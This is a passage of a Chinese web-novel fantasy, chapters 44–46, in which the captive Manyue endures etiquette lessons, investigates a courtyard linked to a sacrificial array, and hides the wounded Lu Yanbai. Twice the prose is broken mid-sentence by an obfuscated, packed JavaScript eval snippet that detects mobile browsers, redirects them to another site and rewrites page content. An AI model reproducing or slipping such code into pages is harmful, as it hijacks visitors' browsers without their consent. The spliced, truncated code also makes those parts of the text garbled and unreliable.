“你们也来吃。”满月对着她们两个招招手,“还剩好多呢。他们走了,正好没人管。” 小桃之前看满月吃东西,早就有些馋了,被这么一撺掇,她没忍住咽了口口水,悄悄看向旁边的梦竹,征询她的意见。 梦竹一如既往不近人情:“这怕是于理不合。” “我们都是妖了,还有什么理不理的。”满月吐槽。这个十夜公子真是去其糟粕取其精华,好玩意儿一个不学,坏东西一样不落。她拿起一只油光锃亮的大鸡腿,笑眼弯弯,“小桃,给你。” 小桃没忍住上前一步,却被一旁的梦竹不着痕迹地拦下。 梦竹摇了摇头。 小桃舔舔嘴,经过一番内心斗争,最后还是忍痛拒绝了到嘴的美食。 再好的美食无人分享也大打折扣。 满月有些索然无味。她放下啃干净的鸡腿,用帕子擦擦手,站起身:“那我们回去吧。” 不知是不是被她的吃相吓到,之后的两日,十夜公子都没来找过她,好在也没有对她下达任何负面的命令。 满月对这个结果很是满意,就是不知道能持续多久。 十夜公子没有限制她的行动,她正好趁这个机会四处闲逛,看能不能发现什么线索。 她并不知道自己具体被关在何处。这院子大得出奇,而且多的是不能踏足的禁地,由妖兵严加看守,每每她想要稍微走近些看看,都被身边寸步不离的梦竹给客客气气地请回来。 路过一间地势偏高的小院,四下枝叶扶苏,很是隐蔽,而且不比别的地方,周围并没有妖兵看守,只是离着老远,满月就隐隐约约看到有一团血红之雾笼罩在屋顶,眨了眨眼,却又消失不见了。 第三次出现这样的情况,满月当然不会再以为只是看错。 她若无其事地朝着小院走去,果不其然,这次同样被梦竹给拦下,只是与之前不同,她看向那小院时,脸上似有一丝恐惧划过:“小卓姑娘,那里不能去。” 满月歪了下头,故作不解:“那里没人看守,为何不能去?” 梦竹抿了抿唇,面色犹疑,似是不知道该怎么解释。 满月提起裙摆就要走上去,梦竹赶忙拦住:“不可!” 满月停下来。 她还从未见过梦竹有这样情绪激动的时候。 梦竹也知失态,她很快调整过来,又恢复了平常的冷静自持:“这里早就荒废了,里面许久没有打扫,脏乱得很,未免什么意外发生,姑娘还是别去了。” 满月她望了眼被繁茂枝叶遮挡了大半的小院,记下了大致位置。都是打工人,她知道梦竹的不易,便也没再强求,答应跟她回去。 梦竹这才不动声色地松下口气。 梦竹的嘴密不透风,指望从她这里问出端倪是不可能的,但小桃却是个漏勺。 趁着梦竹去打水,满月忙拉住小桃,一面往她手里塞了桂花红枣酥,一面若无其事低声询问:“你知道刚才那是什么地方吗?” 岂料一听她问这个,小桃吓得差点连手里桂花红枣酥都扔掉了。她惊恐地瞪大眼,摇了摇头。 满月锲而不舍:“和密云娘娘有关系,对吗?” 听到她将这个名字,小桃瞬间面无血色,她慌忙捂住满月的嘴,悄声道:“不,不能提那个名讳。” 这已是她第二次听到类似的话。 满月拿开她的手:“为何?” “那位有神通,你若提她名姓,她便能心中有所感知。”说完,小桃闭上眼,就像之前满月在娘娘庙里见到的道观童子一样,嘴唇翕动,不知道念了句什么。 原著里并没有提过类似的话,不过屏住宁可信其有的态度,满月也有模有样地学着小桃双手合十,在心里默念了两句“无意搅扰”。 念完,小桃才恢复了面色。她开开心心吃起满月给她的桂花红枣酥,似乎全然忘了刚才的事。 满月犹不死心,接着问:“那你知道‘那位’的名讳吗?” 小桃奇怪地看她一眼:“不就是你刚才说的那个?” 不是。 至少原著里的堕仙不叫这个。 但也不排除这是她的马甲之一,毕竟堕仙已经到了仙的位份,目前又处于前传的时间线,离原著中主角团正式遇到她还要好几年,谁知道现在是什么情况? 不过好歹小桃帮她确认了,那个小院确实跟密云娘娘有关。 满月还要再问,外出打水的梦竹回来了,而且进来的还不止她一人。 梦竹把水盆给了小桃,才对着满月道:“小卓姑娘,我给你介绍一下,这位是周娘子,是公子派来指导姑娘的教习娘子。” 满月:? 她一头雾水地瞧向跟在梦竹后面的周娘子。周娘子是个四五十岁的妇人,穿着件藕荷色的褂子,身量很高,身形颀长,但比起常人,就是有点太瘦了,下颌的棱角完全突了出来,再上不笑时嘴角和眼角都微垂着,显得有些刻薄沉闷。 周娘子打量了满月一眼,这眼神令满月格外不舒服,就好像买货的人在掂量货物一般 “你就是小卓姑娘?”她点点头,露出很是满意的神色,“模样确实生得不错,日后若是不受宠了,倒可以去我那里谋个生计。” 满月:?? “就是这腰不直,背不挺,站没站相,太没个姑娘家的样子。”周娘子边说,边走过来用手里的戒尺不轻不重地敲在满月的肩膀上。 满月忙躲开,蹙眉看着眼前这个奇怪的人……不对,妖:“你干什么?” “干什么?”周娘子冷笑一声,“自然是干我该干的事。梦竹,替她换身轻便的衣服,我去中堂等你们。” 言罢就负手离开了。 满月看着周娘子盛气凌人离去的模样,揉揉肩膀,问道:“她究竟是何人?” “金琉璃的周娘子。”说着,梦竹手上的动作微一停顿,“姑娘不知道金琉璃?” 满月实诚地点点头。 “原来真的不是城中人。”梦竹小声说了一句。 满月没听清:“什么?” “无事。”梦竹接着道,“金琉璃是十方城最大的乐坊,将才那位周娘子,就是金琉璃最有名的教习娘子。” 等等。 满月心弦一动,捕捉到了关键词。 她一直苦于没有证据将十夜公子与原著中的堕仙联系起来,虽然怀疑与导线,却迟迟无法肯定。 原来证据一直就在她面前。 “你是说……十方城?”满月紧紧盯着梦竹,生怕是自己听错,“这里是十方城?” 梦竹语无波澜:“自然。” “我不在密云城?” 梦竹一脸奇怪:“那是人待的去处,姑娘是妖,公子怎么会把姑娘带到那里。” 与度母阴司用阵法构建出另外一个世界不同,十方城是以堕仙的妖力作为支撑,横空虚构出的独立秘境。 如今的世道,能构造出一方泉水大小的秘境都可被视为百年难遇的天才,而十方城却足有一城池的繁荣,可想而知堕仙的实力有多么强大。 如果说之前仅仅只是怀疑,那么现在终于可以确定。 他们不仅误入了原著副本,而且还是仅次于陆宴白这个终极boss的可怕副本。 千言万语只汇集成一句话: “……完了。” 这回轮到梦竹听不清:“什么?” 满月像是被抽走了魂魄似的,双眼无神地摇了摇头。 她行尸走肉一般任凭梦竹替自己换了衣服,等再回过神来时,已经到了中堂。 满月只得将堕仙暂且抛之脑后,强打起精神来,先面对眼前的事。 周娘子位居上首,她用茶盖刮了刮浮沫,轻抿一口茶水,才斜着眼睛瞧了眼满月:“会弹琴吗?” 满月摇头。 “箜篌?” 满月摇头。 “竹笛?琵琶?” 满月还是摇摇头。 周娘子放下茶盏,有些不可置信地看向满月:“舞会跳吗?曲会唱吗?” “不会。” 周娘子神色复杂:“那你会什么?” 满月仔细想了想自己在三危山上,好像还真没学到什么拿的出手的技艺。她妖脉断绝,法术这一块就不多提了,其余部分,因为蔓娘子是个开明的家长,秉持着要给她一个快乐童年的信念,从不曾逼着她去学那些东西。 满月绞尽脑汁想来半天,才勉强挑出一样做的还算差不多的事:“……喂鸟?” 至少小肥啾她还养得不错。 “哦哦,对了。”满月又想起来一样,“照顾灵植我也可以。” 反正蔓娘子的灵植都是她帮忙照料的,从来没浇死过… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995448|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …想来也算还可以吧。 周娘子一时不知该说什么才好。 以往十夜公子看上的人,要相貌有相貌,要才艺有才艺,个顶个都是万里无一。 周娘子虽然夸满月长得不错,但也仅限于此,并不是什么绝无仅有的大美人,放到她们金琉璃,顶多只能算中上之姿。 这倒些微燃起了周娘子的好奇心。 她倒要瞧瞧这姑娘身上究竟有什么东西能引得十夜公子这个惯经风月的情场老手都动了心。 周娘子抬了抬下颌:“你去走一圈给我瞧瞧。” 满月指指自己:“我?” 周娘子白眼都懒得翻:“难不成这里还有其他人?” 满月只好慢吞吞走过去,又走过来。 周娘子看得眉头直皱,她拿着戒尺跟着走过去,在满月的后背敲了一下:“要我说多少次,走路要有走路的模样,背给我挺起来!这样松松垮垮,成何体统!” 糟粕,都是糟粕! 他们妖主打一个随心所欲,几时也学起人类的规矩来? 满月腹诽不已,但为了不挨揍,还是乖乖依言挺直背。 没办法,她天生不知道有骨气三个字怎么写。 周娘子拿了个瓷花瓶来,放到满月的头顶。 满月惊了一惊,慌忙用手扶住:“周娘子,这是何意?” “这是练你的体态,先站一个时辰再说。”周娘子用戒尺拨了拨她的手,“手拿开。” 满月扶着头顶的瓷花瓶,黑白分明的眼睛瞧着周娘子,煞是无辜:“可我一拿开,它就要掉下来。” 周娘子还从未见过有人像她说这种话说得这么理直气壮,差点背过气去:“掉了就打手板,掉一次打二十下。” 满月眼前一黑:“太多了。” 现在她知道十夜公子为何要专程找这样一个教习娘子。 他根本就是为了之前在凉亭时的事报复她! 周娘子皮笑肉不笑:“不多怎么能让你长记性。” “十下,十下可以吗?”满月眨眨眼,可怜兮兮地瞧着周娘子,拿出从前在学典对付老师的工夫,“周娘子,你最好了。” 她这声周娘子叫得极其熨帖,声音又软又糯。周娘子是乐坊出了名的铁石心肠,她教导过的乐伎怕她怕得要死,还从来没人敢这样同她讨价还价。 可不知为何,周娘子却生不起半分的反感,反倒是真的有些微心软——虽然也只是些微。 这大概还是归功于满月人畜无害的长相,看着可可爱爱,再加上性格也是呆头呆脑的,实在让人下不了重手。 周娘子瞥她一眼,面不改色:“十五下。” “真的不可以十下吗?” “再说就二十五下。” “好好好,十五下十五下!” …… 这边满月和周娘子斗智斗勇极限拉扯,另一边,十夜公子看着铜镜之中映出的画面,唇边噙着抹笑,慢条斯理拿起茶盏,呷了一口。 他原以为找了周娘子来,她就算不哭天抢地,也得被嗟磨得唉声叹气,没想到这家伙适应力极强,从善如流,也不知道该说她有韧性,还是太没骨气。 有意思。 比他想象中还要有意思。 “公子。”侍从走上前来,“张参在外求见。” 十夜公子手一抬,镜上的画面顷刻消散无影:“什么事?” “是艳将军那边传来的消息。”侍从低声道,“上次进十方宫的那个修士,似乎逃出来了。” 十夜公子抬眸,倒是有点意外:“逃出来了?” “张参是这样说的。” 十夜公子皱了下眉:“艳三方不是去处理了吗?” 侍从面露难色。 十夜公子一看就明白了。 他冷笑一声:“她老毛病又犯了?那修士可是生得俊美?” “听张参说,除了艳将军,没人见过他的真容。”侍从道,“那修士似乎比预料之中要强得多,就连……就连艳将军也受了重伤。” 听到这个完全出乎意料的消息,十夜公子略微一怔,旋即一字一句重复:“她受了重伤?” “正是。” 十夜公子拧起眉头。 看来那修士确实不一般。 “他逃往了何处?” “还没寻得他踪迹,不过应当还在城中就是。” 十夜公子摩挲着手中的折扇,思忖了片刻,道:“暂时关闭出入的阵法,全城戒严。” “是。” “还有。”十夜公子微微勾起唇角,眼中却无笑意,“我要活的。” 45. 045 斜阳的光透过窗棂落入中堂。满月手持着团扇,步履轻盈,头顶着的瓷花瓶纹丝不动。 “不错。” 周娘子看着她,素来不苟言笑的眸中,罕见地带了几分真切的笑意。 没有老师会不喜欢乖巧又聪明的学生。不过短短几日的工夫,在她的调教下,初时不堪入眼的朽木,竟也变得有模有样了起来。 这令她倍感成就。 “今日早些回去歇着吧。”周娘子放下手中的茶盏,站起身来。她很是满意地又打量了满月一眼,“你练得又快又好,可见是有天赋的,倒是我小瞧了。” “还是周嬢嬢教导得好。”满月眼睛弯起来,像月牙似的,声音软软糯糯霎时讨人喜欢。 短短几日,她与周娘子的关系突飞猛进,连称呼也从一开始生疏的“周娘子”变为了“周嬢嬢”。 周娘子没忍住笑了出来,她摇摇头,拍了拍满月的手:“你这孩子,就是嘴甜。我讲真的,日后若是你在这府中留不住,可得上我那边去。” 周娘子不知道,这全是满月在三危山时练出的。要在一个不友好的环境中生存,演技好就是必备技能之一。 送走了周娘子,满月长舒一口气。她端起桌上的茶盏,毫无形象地吨吨吨灌了起来,因为喝得太急,盏里的水甚至不小心洒了出来。 梦竹对她这模样早见怪不怪,淡定地将帕子递过去。 满月道了谢,问道:“你们公子今日也不在府中吗?” 这几日十夜公子都没露面,小桃喜好闲聊,早打听出来,似乎是城中出了点事,十夜公子昼夜忙碌,已是多日不曾回来过。 梦竹:“听说不在。” 她原以为满月得到这样的回答,多少会有点失望,可满月却只是点了点头,脸上没有丝毫的情绪波动。 梦竹一时摸不着头脑,不知她是真的心大,还是太会伪装。 她难道不怕时日久了,公子真就忘记还有她这样一个人? 须知男女之间的情爱最是薄弱。 没了这份恩宠,谁知道她这样无权无势的小妖怪又会落得个什么样的下场。 梦竹摇了摇头,暗叹一声,并不多言。 待到用过晚膳,满月借口有点累,先回房歇着了。 烛火熄灭,门扉被阖上,听到外面的脚步声走远,满月睁开眼。 她又静静听了一会儿,确认真的没了人,才一骨碌坐起身来。 满月蹑手蹑脚来到窗边,轻轻打开窗户,月色一览无余地泼洒进来,照得室内亮澄澄。 是圆月之夜。 她悄声翻出了窗户,没落得一声响。不知是不是错觉,自经过陈荣那件事后,她无论妖力还是身手,都比过去强了一些。 根据前几次的经验,满月已经准确估摸出妖兵巡逻的时间,毫无压力地顺利地躲开他们,她到达小院前。 这里一盏灯也没有。 唯一的光源只有头顶的月亮,更衬得身后的林子黑黝黝一片。 满月已经来了这里两次,却迟迟不敢太过深入。 自从确定十夜公子与堕仙有关系后,她便拼命回忆原著的情节。可惜现在的时间线比原著中提前太多,她所预知的内容大部分都没什么用,只知道堕仙曾离飞升一步之遥,结果却败于她的心魔。后来她被困于心魔多时,求生不能求死不得,直到发现一个方法,才堪堪从心魔之中脱困。 那个方法原著并没有太详细去描述,但提到过与献祭有关,非常血腥残忍。堕仙周身常年萦绕着挥之不去的煞气,皆是祭祀时那些死在她手下之人的怨气所化。 密云城中发生的一切,难道就是文中那个一笔带过的献祭仪式吗? 寺庙,娘娘像,何府,还有行迹诡异的何小姐。 仿佛都导向这个可怕的答案。 原著中与主角团在这一篇章遇到的得道高人曾说,这种逆天而为的献祭,一般都需通过大阵来实现。据他用堪舆之术推测,大阵共设有三座阵法,若是当时能有除妖师及早发现这件事,在大阵成形时抢先一步破除阵法,后面的惨剧或许就不会发生。 当然,这只是那位道人自己的推测,事实究竟是不是这样,没人能够印证。 以满月在三危山上学到的为数不多的基础知识来看,但凡阵法,总有阵眼可寻。 如果那位得道高人的推论是真,她能找到阵眼,也许…… 满月心神一晃。 她仰头看着错落在坡上的小院,深深叹了口气。 摧毁阵眼,以她的修为是断然做不到的,但若能利用现在的处境多探查到一些消息,留以后用,对还被困在密云城的陈仓南楼他们多少有些帮助。 虽然会有一定的风险。 满月勉强定下心神,不再东想西想,放出了藏在袖中的纸鹤。 她胆子实在太小,前两次都只敢放纸鹤绕着在周围转,可惜都没能得到什么有用的发现。 翻来覆去踌躇多时,她才下定决心冒险深入里面看一看。 纸鹤轻飘飘飞了出去。 满月看着远去的纸鹤,冥冥之中,她似乎感觉到有一双眼睛在她背后缓缓睁开。 满月立时有种深深的被窥探感。 她转身,身后照旧是枝叶扶苏的林子,随风轻轻晃动,并不见有什么东西。 但那种毛骨悚然的感觉却迟迟没有褪去。 满月不觉心生退意,她回过头,却发现才放出去没多久的纸鹤竟然已经回来了。 满月伸手接住,展开纸鹤,上面写着:【院中置鼎。】 鼎? 满月精神一振,隐隐有些亢奋起来。 不会真被她找到了吧! 鼎是上古之物,在当今之世并不多见,在这里出现,多半是用作祭祀鬼神。 满月的心砰砰直跳。 一切未免也进展得太顺利了。 她还来不及为此感到喜悦,手中的纸鹤却忽然无火自燃了起来,顷刻间灰飞烟灭,化作齑粉散入空中。 满月一愣。 与此同时,她腕上的玉珠开始发起烫来。 按照之前有过的情况,似乎提醒着她这里隐藏着她意想不到的危险。 她有想过小院里会有危险,但照这个架势,里面的东西恐怕远比她所想更为可怖。 幸好她吃了上次被十夜公子跟踪的亏,在纸鹤上动了手脚,把她的气息抹去得干干净净,不至于被人通过纸鹤追溯到她。 满月转身要走,然而没走几步,身后突然有一双手捂住了她的嘴,稍一用力,就将她带进了漆黑的林间。其速度之快,她甚至都没来得及反应。 “唔——” 林子里树荫密密,月光浅淡,昏暗中五感被无限放大,她被身后那人整个被圈在怀中,鼻息之间充盈着对方身上铁锈味道的血腥气。 满月正要将藏在袖子里的符箓祭出去,抵着她的那人在她耳边压低了声音道:“别动。” 这个声音…… 他话音刚落,一道金色的无形结界在他们身前展开。 与此同时,小院的门吱呀一声被推开了一道小缝。 满月没工夫再考虑身后那人,她的注意力全部被吸引了过去。 顺着林间枝叶的缝隙,她看到星星点点的绿色荧火从小院门缝里飘了出来,在夜里尤为醒目,若是不留意的人,只怕以为是萤虫。 绿色萤火悄无声息飘飘忽忽,在她原先待着的地方停留了片刻,四下逡巡一圈,确认无人,才又转身慢腾腾地飘回去了。 门缝缓缓阖上,一阵风吹过,摩肩接踵的树叶瑟瑟作响。 满月惊魂未定,身后的人却已是撤去身前的结界,随后放开了她。 满月这才回神。她转头,借着斑驳的月光,果不其然看到一个熟悉的人。 真的是他。 陆宴白。 “你……”满月刚想问他怎么在这里,却意外发现他受了伤,而且看起来还伤得不轻。鲜血染了他半张脸,蓝衣也看不出原本的颜色,倒是原本平平无奇的五官,在战损情况下竟莫名多了几分诡谲艳丽的感觉。 就算那时在三危山与度母阴司对上,也从不曾见他这么狼狈过。 “你,你怎么受伤了?”满月讶然。 陆宴白咳了几声,摇摇晃晃地跌坐回地上,没有回答她。 想来也是,他受了这么重的伤,刚刚又强行展开了隐匿行迹的结界,有力气说话才奇怪。 满月蹲下身来,借着月色细细打量陆宴白的全身,终于在他胸口处,发现了端倪。 血肉模糊的伤口中,倒插着一枝黑色的……花? 满月伸手,想看清楚些,然而还没碰到,就猛地被陆宴白抓住了手腕。 他的手冷得仿佛没有温度。 陆宴白半垂着眼,极为不信任地瞧着她:“你要干什么?” “看看你的伤势而已。”满月抽回手,揉了揉被他攥得有些发疼的手腕,暗道这人未免太多疑。 陆宴白咳嗽了下,稍稍坐起来些。 “……要我帮你吗?”看在他刚刚算是帮了她的份上,满月极为难得地主动提议。 陆宴白闻言扫了眼满月,思索了片刻,似乎发现目前的情况也只能靠她,便问道:“你带药了吗?” 满月摇摇头。 陆宴白又咳嗽两声,虚弱地从袖子里拿出一个白瓷瓶,丢到了满月怀中。 满月攥紧了瓶身,反倒不自信起来:“我没处理过,你不介意吧?” 陆宴白掀了掀眼帘,似笑非笑地觑着她。 满月也知现在不是说这种话的时候,她凑近他,看着伤口,面露犹疑:“……我该怎么做,直接拔吗?” 她身上甜甜的杏子糕味道,混合着他身上浓重的血腥气,丝丝缕缕飘了过来。 陆宴白重新闭上眼,嗯了一声。 满月蹙了下秀气的眉:“不会疼吗?” “不会。” 满月咬咬牙,做足了心理建设,她正要动手,脑子里却突然闪过一个想法。 这或许是最好除掉他的时机。 但这想法几乎是冒出来的一瞬间,就立刻被她否决了。 别的不提,虽然不清楚他的动机,但刚刚也算是帮了她,她这么想实在太不厚道。 陆宴白见她迟迟不动手,睁开眼,乌黑的眸瞧向她,这种时候还有心情打趣:“需要我给你挑个良辰吉日吗?” 满月:“……” 他既然这么说,那也不能怪她了。 满月不再瞻前顾后,她稍一用力,就干净利落地将那朵奇怪的黑花整个拔了出来。 血溅到了她的脸上,温热,黏腻。 黑花花瓣上满是密密麻麻的小刺,拔出来时粘连了些血肉,原本就不妙的伤口看起来更严重了。 满月看着手上狰狞的黑花,稍稍皱了皱眉,她一抬头,发现陆宴白虽然一声没吭,但脸色却更加苍白,额上都布了密密的一层汗。 看来他这次真的伤得不轻。 满月不免有点小小的心虚起来。 早知道还是慢点拔好了。 万一被他发觉她的故意的,等他好了不一定怎么报复回来呢。这人睚眦必报,她可太了解了。 满月取出帕子,拨开伤口上的碎布,这次有意放轻了动作,悉心将药粉一点点倒在上面。 勉强止了血,满月从他衣襟下摆撕下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995449|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一条长布,用手帕将伤口简单包扎好。 屏气凝神地做完这些,满月才松了口气。 “好了。”说着,满月一抬头,正好对上陆宴白沉郁的黑眸。 她眨了下眼,他眸中的沉郁就消散得无影无踪,取而代之的是往日的漫不经心:“多谢。” 这人也会道谢,太阳打西边出来了。 “你取出来的东西呢?”他忽然问。 “在这……”满月刚要拿给他,才发现她刚刚放在地上的黑花,竟然不翼而飞了。 见鬼了。 满月四下找了找,一无所获。 陆宴白似乎不怎么意外:“找不到就算了。” 满月提起裙摆,就着在他对面坐下:“现在你该告诉我,你怎么会在这里了吧?” 许是伤口被处理好的原因,陆宴白多少恢复了些精力,他弯了弯唇角,头靠在树干上,微垂着眸看向她:“这话应该我问你才对,你先告诉我你怎么会出现在这里?” 满月和陆宴白打交道这么多次,早对他的性子了若指掌,眼中满是警惕:“我先说了,你就会讲?” “自然。” 得到保证,满月才一股脑地将与他分开后发生的事简单讲了一遍。 语毕,满月看向他:“那你呢?” 陆宴白挑了下眉,同样言简意赅:“我迷路了。” 满月:“……” 她就知道。 陆宴白笑起来:“是真的。” 鬼才信。 他应该还是为了命魂珠才来到这里的。 但至于怎么沦落到这样一副狼狈的模样,就是另一回事了。 ……罢了。 就算他真的敢讲,她也不一定真的敢听。 还是先考虑眼下的事。 陆宴白低咳了几声,讲完这些话,又没了什么力气,倚靠在树干上休息。 夜更深了,也更冷了,只有头顶的圆月没有任何的变化,清冷地照耀着大地上的一切。 满月瞧着面前气息奄奄的陆宴白,轻轻叹一口气。 “你先随我回去吧,等伤养好了,再做打算。” 陆宴白眼皮都没抬一下,气若游丝:“不用。” 这种时候还在逞什么强。 满月才不管他拒不拒绝。他受了这么重的伤,刚刚的结界几乎耗尽了他最后的气力,把他丢在这里,若是遇到巡逻的妖兵,不死也得折半条命。 更何况要破除大阵,她还需要他的帮忙。 满月扶着陆宴白慢慢起了身,她刚要问他能不能自己走,陆宴白身形晃了晃,差点摔倒。 满月赶忙扶住了他。 她这一扶,他整个人顺势就靠了过来,全部的重量压在了她身上。霎时间,浓郁的血气铺天盖地,将她包围在其中。 天知道他究竟流了多少血。 “你撑着点。”满月道。 她扶着他原路返回,相比于来时,带着一个病患行动不便多了,躲躲藏藏了好几次,才有惊无险回到了她的住处。 满月费了好大工夫才将陆宴白从窗子弄了进来。 她将他扶着躺在柔软的床榻上,怕点灯招来小桃她们,只能摸黑接了盆水,打湿帕子,替他处理起脸上的伤口。 随着血污逐渐被拭去,露出了他本来的面目。他的睫毛很长很密,五官分开来看也算清秀,但为何总给人一种平平无奇的错觉,仿佛一转眼就会将他的长相完全忘却。 真是奇怪。 满月将帕子丢在一旁,上完药,床上的人呼吸均匀,早已陷入了梦乡。 满月手支着下巴,借着唯一的月光,静静瞧着陆宴白。 没有游刃有余的自信,也没有目空一切的闲散,现在的他,平静而温和。 当然满月比谁都清楚,这样的人畜无害只是幻觉。 怕再出什么意外,满月本想就这样守一夜,结果没多久眼皮上下打架,还是支撑不住,趴在床边睡了过去。 她刚一沉沉入睡,床榻上的人就睁开了眼。 漆黑眼眸澄净分明,没有一丝一毫的睡意。 陆宴白微微侧头,窗外月光影影绰绰洒进来,照见面前人的模样。 少女趴在床边,露着半张脸,眼睛闭着,睡得很是安详。 看得出她是真的累了,这种难受的姿势都睡得这么香。 陆宴白静静瞧着满月,面上没有平日里的笑容,只有若有所思的审视。 他对满月的怀疑,可一点也不比满月对他的少。 他来这里,一是因为受了伤,需要一个安全的地方躲避追兵处理伤口,二则是因为这里有命魂珠的气息。 满月说的那些她如何被带来这里的话,陆宴白倒是并不怀疑,只是十夜公子的府邸这样大,她为何偏偏找到那个地方,还妄图窥察其间。 一次可以说是巧合,两次……就值得引起注意了。 更何况她所知道的事,怎么看也不像是一个普通小妖怪能知道的。 在三危山时,陆宴白就对她有所怀疑,只是看她没什么威胁,懒得去追究。 经过陈昇那件事,她似乎比他想象中更有意思。 陆宴白注视着满月,眸色晦暗不明。良久,他伸出手,纤长的手指在即将触碰到她眉心时,她不知梦到了什么,长密的睫毛轻轻颤了下,随后嘟囔了句听不清的梦语,换了个方向继续趴着睡去。 她转头时垂下的发丝划过他的指尖。 痒痒的。 他停下了动作。 片刻,陆宴白收回了手,只几不可闻地挑了下眉,面上的晦暗一扫而空。 看在她也算是救了他的份上,他再放过她一次好了。 46. 046 第二日一早,满月被急促的敲门声惊醒。 她困倦得很,睡眼惺忪地起了身,走到门边正要打开门闩,忽然想起什么,倏地停住了动作。 她回头看去,这才发现,除了她之外,卧房早是空空荡荡,别无他人。 ……陆宴白去了哪儿? 满月蹙了下眉头,用最快的速度打量了一眼四周,昨天夜里回来时蹭到的血迹早已被清理得干干净净,那盆血水和帕子也不知所踪。 就好像什么事都没有发生过一样。 “姑娘?”门外的梦竹已经是在催促。 满月按捺下心中的困惑,打开了门。 心里惦记着陆宴白,满月一整日都心神不宁,待度日如年地应付完周娘子,直到傍晚,暮色四合,她才回到小院。 满月无精打采地走进房间,隐约看到里间有人。 陆宴白回来了? 满月眼睛一亮,当即精神一振。 她还有事等着要问他。 她赶紧转身将门阖上,满怀期待地跑进里屋,果不其然看到熟悉的蓝衣少年盘腿坐在榻几前,一手托着脸,一手百无聊赖地玩着妆奁台上散落在外的珠花。 “你去哪里了?”满月回头瞧了眼,确定没人跟过来,才压低声音问道。 听到声音,陆宴白懒懒抬起眼,待看到她的模样,他几不可察地微微怔了下。 她梳着双环髻,发上点缀着步摇,一晃一晃得很是可爱,身上穿着件浅紫绫罗裙,其上用荼白暗线绣着玉兰花,腰间系着荼白宫绦,俏丽之中带着活泼,非常适合她这个年纪。 确实和平日里着宽大道袍的模样不太一样。 就在他打量满月的同时,满月也在打量他。 昨日陆宴白鲜血淋漓的模样还历历在目,不过一日的工夫,看起来竟好得差不多了。 虽然可能只是看起来。 毕竟他的脸色还有点苍白。 “我怕有人来找你,就先出去了。”说着,陆宴白伸了个懒腰,仰面躺在榻子上,自在得仿佛在自己家一样,“这地方还不错,比你在三危山不是好多了吗?” 这话满月就不爱听了。 不过眼下有更重要的事,她懒得与他计较,只道:“你有传音符吗?” 陆宴白垂下眸,长睫在眼底投下一片阴影:“干嘛?” “当然是联系程南楼他们。”满月一脸理所当然,“我有事要告诉他们。” 堕仙的事刻不容缓,晚个一时半会儿都可能会引发意料不到的后果。 陆宴白慢悠悠坐起身,他手支在榻几上,笑吟吟瞧着她。 满月被他瞧得发毛了,她摸摸胳膊,往后缩了下:“你看什么?” 陆宴白眉眼弯弯:“看笨蛋。” 满月:“……” 怎么又人身攻击! 真是白救他了!!! 满月气鼓鼓的,刚要讲话,就听陆宴白不紧不慢接着道:“要是传音符在这里能用,你觉得我会被困住吗?” 听到这话她瞬间泄了气。 ……这倒是。 满月顿时有点丧气:“这么说你也没办法了?” 陆宴白倒是心安理得地点点头,他弯起眼睛:“所以这段时间就要仰仗你了。” 满月:“……?” 心里骂归骂,如今陆宴白是她唯一的盟友,若她猜想是真的,堕仙的事她一个人应付不来,多半得靠他帮忙。 满月敛起失望,转而问道:“你吃过饭了吗?” 陆宴白摇摇头。 “等我一下。” 她站起身,不一会儿从外面回来,细心地插上外间的门闩,才提着攒盒进来。 满月将攒盒里的点心一一取出:“只有这些了,将就吃吧,等明日我再带一些正经饭菜给你。” 她这样认真,反而让半开玩笑的陆宴白稍稍愣了下。 不过旋即他就笑起,从善如流地接受了她的好意:“多谢。” 满月双手托着脸看陆宴白吃点心。早在三危山她就发现了,这人吃饭时的吃相很雅,慢条斯理,看起来温文尔雅,和他可怖的性子截然不同。 “你的伤呢?”满月又问道,“要不要我帮你换药?” 平日里她对他向来是避之不及,这么热情并不多见。 陆宴白挑了下眉,似笑非笑看着她。 满月被他看得不自在起来,她正要若无其事错开身,就听他道:“你有事求我?” ……有时候太过一针见血也不是一件好事。 满月悻悻:“这么明显?” 陆宴白不以为意:“什么事?” 见他这么直接,满月便也不隐瞒:“我想等你好一些,帮我去看看昨天晚上那个小院里有什么东西。” 陆宴白动作一顿,慢悠悠地抬眸:“你昨晚不是都看到了?” 满月摇摇头。 她想了整整一天,虽然还不敢百分百确定,但昨天在小院里看到的绿色萤火,十有八九就是原著里曾出现过的织梦兽。 织梦兽是以梦为食的妖兽,原本是没什么攻击性的中立妖兽,自前代妖王陨落后受到波及,逸散各处,渐渐至族灭,剩下这唯一一只织梦兽被堕仙收用,替她看守极为重要的隐秘之物。 织梦兽出现在这里,至少说明小院里的东西和堕仙有关,而且极为重要,要不然也不会用到它。 而眼下对堕仙来说最重要的,自然是祭祀大阵。 能找到大阵,就能找到阵眼。 更何况里面那口大鼎,也导向满月的猜测,让她更加断定这里就是她要找的地方。 不过这些话没法说,讲得太详细,只怕他又要怀疑她有问题,索性不如装傻充愣。 陆宴白眉梢微挑,他稍稍俯身,陡然拉进了与她的距离,笑眯眯看着她:“要我帮你,你拿什么交换?” 什么叫帮她,真要是原著中的献祭,他也跑不掉好吗? 满月决定硬气一回,理直气壮道:“可我救了你。” 陆宴白这人向来是油盐不进,他重新拉开距离,笑得如沐春风:“难道不是我救你在先?” 满月:“……” 这么算账是吧。 